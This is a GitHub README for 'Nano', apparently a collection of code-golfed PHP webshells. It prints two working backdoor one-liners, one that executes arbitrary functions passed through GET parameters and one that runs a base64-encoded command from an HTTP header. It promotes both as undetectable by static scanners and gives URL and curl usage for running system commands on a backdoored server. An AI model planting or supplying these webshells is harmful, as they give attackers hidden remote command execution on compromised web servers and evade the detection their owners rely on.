forked from s0md3v/nano
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathREADME.md
More file actions
48 lines (38 loc) · 1.69 KB
/
Copy pathREADME.md
File metadata and controls
48 lines (38 loc) · 1.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# nano
Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient.\
Put it on watch maybe, I will continue to upload more webshells in here.
**Note:** You may need to tweak some parts of the code if it doesn't work out for your.\
For example, if short tags are disabled, you will need to replace <? with <?php.
### Nano
```php
<?$x=$_GET;$x[p]==_&&$x[f]($x[c]);
```
#### Features
- 34 bytes in size
- Can't be detected by static code scanners
- Supports authentication
#### Usage
`http://example.com/nano.php?f=function&c=command&p=password`
`f` is for function\
`c` is for command\
`p` is for password
For example, the code below will execute the `ls` command:
`http://example.com/nano.php?f=system&c=ls&p=password`
### Ninja
```php
<?$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
```
#### Features
- 93 bytes in size
- Fully Undetectable
#### Usage
This one a bit complex.\
Lets say you want to run `system(ls)` so write it as `system~ls` and then base64 encode it i.e. `c3lzdGVtKGxzKQ==`\
Now add any **1** character at the start of it. Let say 'x' so it will be `xc3lzdGVtKGxzKQ==`\
Now open your terminal and type the following command\
`curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php`\
Too much work? You can use the [handler](https://github.com/UltimateHackers/nano/blob/master/handler.py) instead.

#### Everything Else
This is my first php thingy so if there's way to do what I did in a better way please let me know or open a pull request.\
The nano project is licensed under **MIT license** which basically means you have to give me credit if you want to redistribute or modify it.